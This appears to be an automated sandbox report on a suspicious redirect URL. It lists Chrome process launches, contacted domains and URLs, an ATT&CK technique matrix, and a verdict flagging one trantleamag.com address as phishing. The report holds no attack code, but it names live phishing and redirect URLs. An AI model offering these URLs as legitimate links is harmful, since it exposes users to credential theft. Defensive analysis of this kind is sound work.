Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50230 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@36/249@152/61

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3956 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3096 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3956 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3096 --field-trial-handle=1844,i,10599702159094808919,4471622693110340504,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://alminifholding.com/res444.php?4-68747470733a2f2f52682e636170726963696f752e636f6d2f5a685a572f	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com/185777289918892963sHMCfkhtkMETWGBHWLASXSGJCNRCTBHTPPTDUUCNP	100%	Avira URL Cloud	phishing
https://rh.capriciou.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
dart.l.doubleclick.net	142.250.185.230	true	false	high
lantern.roeyecdn.com	13.227.219.53	true	false	high
alb-ireland-ext-ingress-group-474278744.eu-west-1.elb.amazonaws.com	54.154.99.96	true	false	high
rh.capriciou.com	188.114.97.3	true	false	unknown
user-data-eu.bidswitch.net	35.214.136.108	true	false	high
adservice.google.com	172.217.18.2	true	false	high
dg2iu7dxxehbo.cloudfront.net	18.239.67.100	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
stats.g.doubleclick.net	66.102.1.155	true	false	high
cdn.w55c.net	3.69.189.41	true	false	high
insight.adsrvr.org	52.223.40.198	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
cm.g.doubleclick.net	172.217.16.194	true	false	high
cdn.pdst.fm	35.244.142.80	true	false	high
www.google.com	142.250.185.132	true	false	high
edge-web.dual-gslb.spotify.com	35.186.224.24	true	false	high
d2pbcviywxotf2.cloudfront.net	143.204.215.118	true	false	unknown
match.adsrvr.org	52.223.40.198	true	false	high
star-mini.c10r.facebook.com	157.240.0.35	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
google.com	142.250.181.238	true	false	high
alminifholding.com	69.49.245.172	true	false	unknown
ad.doubleclick.net	142.250.185.102	true	false	high
tag-terraform-elb-1705565586.eu-central-1.elb.amazonaws.com	3.67.102.20	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
web.btncdn.com	99.86.4.2	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
pixel.streetmetrics.io	104.21.27.248	true	false	high
vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com	188.114.96.3	true	false	unknown
analytics-alv.google.com	216.239.36.181	true	false	high
prod.pinterest.global.map.fastly.net	151.101.0.84	true	false	high
googleads.g.doubleclick.net	216.58.212.162	true	false	high
lantern.roeye.com	54.194.149.149	true	false	high
dsum-sec.casalemedia.com	104.18.36.155	true	false	high
dualstack.pinterest.map.fastly.net	151.101.64.84	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
etsy.map.fastly.net	151.101.129.224	true	false	high
pug-ams-bc.pubmnet.com	198.47.127.205	true	false	high
td.doubleclick.net	142.250.184.226	true	false	high
trkn.us	95.101.111.166	true	false	high
ib.anycast.adnxs.com	185.89.210.90	true	false	high
9910951.fls.doubleclick.net	unknown	unknown	false	high
ct.pinterest.com	unknown	unknown	false	high
d.agkn.com	unknown	unknown	false	high
pt.ispot.tv	unknown	unknown	false	high
i.etsystatic.com	unknown	unknown	false	high
pixels.spotify.com	unknown	unknown	false	high
tags.w55c.net	unknown	unknown	false	high
x.bidswitch.net	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
js.adsrvr.org	unknown	unknown	false	high
www.dwin1.com	unknown	unknown	false	high
www.etsy.com	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
resources.xg4ken.com	unknown	unknown	false	high
8666735.fls.doubleclick.net	unknown	unknown	false	high
simage2.pubmatic.com	unknown	unknown	false	high
s.pinimg.com	unknown	unknown	false	high
analytics.tiktok.com	unknown	unknown	false	high
analytics.google.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://insight.adsrvr.org/track/conv/?adv=r09jr34&ct=0:ezyvggn&fmt=3	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://i.etsystatic.com/21204286/c/1284/1284/0/420/il/531e9f/5248615643/il_300x300.5248615643_jv8f.jpg	false		high
https://ct.pinterest.com/v3/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&event=init&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D&cb=1731004359448	false		high
https://www.etsy.com/include/tags.js	false		high
https://www.etsy.com/dac/vesta_homepage/vesta_homepage.11b4ee69983dd8,vesta_homepage/consistent_spacing.11b4ee69983dd8,homepage/_modules/spacing.11b4ee69983dd8,__modules__ShoppableHero__src__/View/css/shoppable-hero.9e1c60b94d1711,neu/modules/listing_card.11b4ee69983dd8,neu/modules/favorite_button_defaults.11b4ee69983dd8,common/listing_card_text_badge.b1c6bd381ce780,vesta_homepage/view/etsy-everyday.11b4ee69983dd8,vesta_homepage/view/daily-deals.11b4ee69983dd8,homepage/_modules/complex-grid.11b4ee69983dd8,neu/common/masonry_grid/masonry-grid.11b4ee69983dd8,homepage/_modules/editors-picks.11b4ee69983dd8,listings/listing-card-video.11b4ee69983dd8,home_living/shop-the-look.11b4ee69983dd8,homepage/_modules/common/simple-header.11b4ee69983dd8,vesta_homepage/view/what-is-etsy.11b4ee69983dd8,impact/homepage/what-is-etsy/community-impact.11b4ee69983dd8,pages/join_neu/social/google_one_tap_modal.2ec02d4eb6d23b.css?variant=sasquatch	false		high
https://i.etsystatic.com/16064614/c/1923/1923/29/288/il/82f9a0/5874767076/il_200x200.5874767076_l73m.jpg	false		high
https://rh.capriciou.com/ZhZW/	false		unknown
https://www.etsy.com/paula/v3/polyfill.min.js?etsy-v=v5&flags=gated&features=AbortController%2CDOMTokenList.prototype.@@iterator%2CDOMTokenList.prototype.forEach%2CIntersectionObserver%2CIntersectionObserverEntry%2CNodeList.prototype.@@iterator%2CNodeList.prototype.forEach%2CObject.preventExtensions%2CString.prototype.anchor%2CString.raw%2Cdefault%2Ces2015%2Ces2016%2Ces2017%2Ces2018%2Ces2019%2Ces2020%2Ces2021%2Ces2022%2Cfetch%2CgetComputedStyle%2CmatchMedia%2Cperformance.now	false		high
https://www.etsy.com/ac/evergreenVendor/js/en-US/etsy_libs.6f2bc648a336d3e52761.js	false		high
https://web.btncdn.com/v1/button.js	false		high
https://ct.pinterest.com/user/?tid=2612477536450&pd=%7B%22np%22%3A%22gtm%22%7D&cb=1731004359437&dep=2%2CPAGE_LOAD	false		high
https://js.adsrvr.org/up_loader.1.1.0.js	false		high
https://i.etsystatic.com/25783849/c/959/959/0/321/il/909220/2764421831/il_200x200.2764421831_bkba.jpg	false		high
https://www.etsy.com/assets/type/Graphik-Medium-Web.woff2	false		high
https://trkn.us/pixel/conv/ppt=8398;g=homepage;gid=34719;ord=1731004351?gtmcb=992407745;ip=173.254.250.79;cuidchk=1	false		high
https://i.etsystatic.com/25168585/c/1800/1800/298/0/il/e0da11/5460954945/il_300x300.5460954945_9tu4.jpg	false		high
https://www.etsy.com/ac/evergreenVendor/js/en-US/vesta_homepage/bootstrap.9dfe088c54b7c914b716.js	false		high
https://www.etsy.com/assets/type/Guardian-EgypTT-Light.woff2	false		high
https://insight.adsrvr.org/track/up?adv=r09jr34&ref=https%3A%2F%2Fwww.etsy.com%2F&upid=c6e9qnb&upv=1.1.0&paapi=1	false		high
https://i.etsystatic.com/12188102/r/il/e24ab7/6275743143/il_300x300.6275743143_souf.jpg	false		high
https://match.adsrvr.org/track/cmf/rubicon?gdpr=0	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://i.etsystatic.com/16258681/c/2250/2250/583/0/il/f52b7b/3045823387/il_300x300.3045823387_t4nq.jpg	false		high
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694	false		high
https://a.nel.cloudflare.com/report/v4?s=BJiRqdLrn7qK93fyJmIhl0z8Jb%2FZLQ6hHoMwbl7YStgxBkXDV678GIJ3QRnxQtm%2FAhg7JsIVv8Sn4VoRipC3AV0Ad3Wr1i1GJkLSf7Ucwlo%2FdDjKtFNTSCxkQUlHTA%3D%3D	false		high
https://tags.w55c.net/rs?id=590f83e499a54109bd553d1e2ebaf867&t=marketing	false		high
https://vzfk6vqaoyt1ogzrbn8cfpyijhdyeg3w9aipyubaquurdytz2nlu4zqaku.trantleamag.com/185777289918892963sHMCfkhtkMETWGBHWLASXSGJCNRCTBHTPPTDUUCNP	false	Avira URL Cloud: phishing	unknown
https://i.etsystatic.com/20059860/r/il/7f8ebb/3254190601/il_300x300.3254190601_2ekg.jpg	false		high
https://i.etsystatic.com/5316916/r/il/b079a8/4370835564/il_600x600.4370835564_i96i.jpg	false		high
https://i.etsystatic.com/35518631/r/il/e1cf46/6200065849/il_300x300.6200065849_s06d.jpg	false		high
https://resources.xg4ken.com/js/v2/ktag.js?tid=KT-N3B63-3EB	false		high
https://d.agkn.com/iframe/10898/?che=1731004351&gauid=1731730657.1731004358	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8def6751cf07e7a6/1731004323946/7Lbt5mZb6pYQGHR	false		high
https://i.etsystatic.com/23824347/r/il/67d7f1/5200553974/il_300x300.5200553974_4yjs.jpg	false		high
https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=3437258319151679262&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8def6751cf07e7a6/1731004323942/0ce64218ebbd666850be87b0d35e84846275f1be6aca62966dbea5873bf6e595/yb75jCmKwd61suQ	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=pubmatic	false		high
https://trkn.us/pixel/conv/ppt=8398;g=homepage;gid=34719;ord=1731004351?gtmcb=992407745	false		high
https://www.etsy.com/dac/site-chrome/components/components.defebf5b6f4bba,contentful-sitewide-hum.af079ccbcc7694,site-chrome/header/header.507e1bce5b547a,__modules__CategoryNav__src__/Views/ButtonMenu/Menu.8d961c48ba074a,__modules__CategoryNav__src__/Views/DropdownMenu/Menu.11b4ee69983dd8,site-chrome/footer/footer.11b4ee69983dd8,gdpr/settings-overlay.11b4ee69983dd8.css?variant=sasquatch	false		high
https://i.etsystatic.com/8505634/r/il/5b99c1/4275912553/il_600x600.4275912553_se3v.jpg	false		high
https://www.google.com/.well-known/web-identity	false		high
https://i.etsystatic.com/16320228/c/2058/2058/0/0/il/4cda38/5716292512/il_300x300.5716292512_oipg.jpg	false		high
https://www.facebook.com/tr?id=395490361516997&ev=PageView&cd[order_id]=1731730657.1731004358	false		high
https://lantern.roeyecdn.com/lantern_global_6220.min.js	false		high
https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694&google_gid=CAESELRfUdUGqS4i5V2d4ZcFk30&google_cver=1	false		high
https://js.adsrvr.org/universal_pixel.1.1.0.js	false		high
https://www.facebook.com/tr?uuid=1731004351&id=297472060462208&ev=PageView&ud[em]=%27%27%22&fbp=undefined&fbc=undefined	false		high
https://www.etsy.com/ac/evergreenVendor/js/en-US/vendor_bundle.051a2557fd322e046abd.js	false		high
https://www.facebook.com/tr?uuid=1731004351&id=114623403312281&ev=PageView&ud[em]=%27%27%22&cd[page_path]=null&cd[detected_region]=US&fbp=undefined&fbc=undefined	false		high
https://i.etsystatic.com/ij/213d0d/6404024913/ij_680x540.6404024913_cpf3id74.jpg?version=0	false		high
https://www.dwin1.com/6220.js	false		high
https://i.etsystatic.com/8622539/r/il/d0e539/4178592230/il_300x300.4178592230_icjm.jpg	false		high
https://rh.capriciou.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.etsy.com/ac/evergreenVendor/js/en-US/vesta_homepage/search_bubbles.a18c2a52381352511211.js	false		high
https://s.pinimg.com/ct/core.js	false		high
https://i.etsystatic.com/37007386/c/1708/1708/159/690/il/66e5b9/4728653338/il_200x200.4728653338_jswh.jpg	false		high
https://pixel.streetmetrics.io/pixel/62f2e71d-3885-4822-ba89-6e017b2f1a1e	false		high
https://i.etsystatic.com/11238098/c/1141/1141/590/707/il/1796b6/4720166203/il_200x200.4720166203_lcfk.jpg	false		high
https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=ZmQ2M2QzNDAtNzgzZC00Y2IyLWJmYzEtMjNhZjAwNTRmNjk0&gdpr=0&gdpr_consent=&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694	false		high
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3Dfd63d340-783d-4cb2-bfc1-23af0054f694	false		high
https://www.etsy.com/bcn/beacon	false		high
https://i.etsystatic.com/18124409/r/il/88e6b9/5506996893/il_300x300.5506996893_km7m.jpg	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8def6751cf07e7a6&lang=auto	false		high
https://www.etsy.com/site.webmanifest	false		high
https://ct.pinterest.com/v3/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004360780&dep=5%2CEVENT_TAGS_ABSENT&pd=%7B%22np%22%3A%22gtm%22%7D&ad=%7B%22loc%22%3A%22https%3A%2F%2Fwww.etsy.com%2F%22%2C%22ref%22%3A%22https%3A%2F%2Frh.capriciou.com%2F%22%2C%22if%22%3Afalse%2C%22sh%22%3A1024%2C%22sw%22%3A1280%2C%22mh%22%3A%22be180668%22%2C%22is_eu%22%3Atrue%2C%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%2C%22uaFullVersion%22%3A%22117.0.5938.132%22%2C%22ecm_enabled%22%3Atrue%7D	false		high
https://www.etsy.com/	false		high
https://cdn.pdst.fm/ping.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1888641786:1730999922:sZMMjrljib3Ah-ZPRoL_Nqj62RI1QKUnYVwOIOxtiuY/8def6751cf07e7a6/jCrTDp5mH7IPQ.XokFVcaJ.lGZZNyttWPsGCaoPzCbc-1731004321-1.1.1.1-eC1A3ZZHnP397vfP33FmcEcmnsz8wNnC8jnQC8T8ln6lDiN3l1rddG_FCxdeVbFm	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=fd63d340-783d-4cb2-bfc1-23af0054f694&r=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dpubmatic	false		high
https://ct.pinterest.com/user/?event=pagevisit&ed=%7B%22event_id%22%3A%22hEdBI7-O791PgbbYBOz7wX81KdmN.1731004351.listing_id_na%22%2C%22np%22%3A%22gtm%22%2C%22line_items%22%3A%5B%7B%22product_category%22%3A%22%22%7D%5D%7D&tid=2612477536450&cb=1731004359443&dep=5%2CEVENT_TAGS_ABSENT	false		high
https://pixels.spotify.com/v1/ingest	false		high
https://ct.pinterest.com/ct.html	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=bidswitch	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_287.2.dr, chromecache_154.2.dr	false	high
https://developers.google.com/identity/gsi/web/guides/fedcm-migration?s=dc#skipped_moment	chromecache_171.2.dr, chromecache_199.2.dr	false	high
https://www.google.com	chromecache_158.2.dr	false	high
https://www.youtube.com/iframe_api	chromecache_287.2.dr, chromecache_154.2.dr	false	high
https://datadome.co	chromecache_174.2.dr	false	high
https://www.etsy.com/sourcemaps/evergreenVendor/en-US/vendor_bundle.051a2557fd322e046abd.js.map	chromecache_284.2.dr, chromecache_220.2.dr	false	high
https://api.usebutton.com	chromecache_288.2.dr, chromecache_259.2.dr	false	high
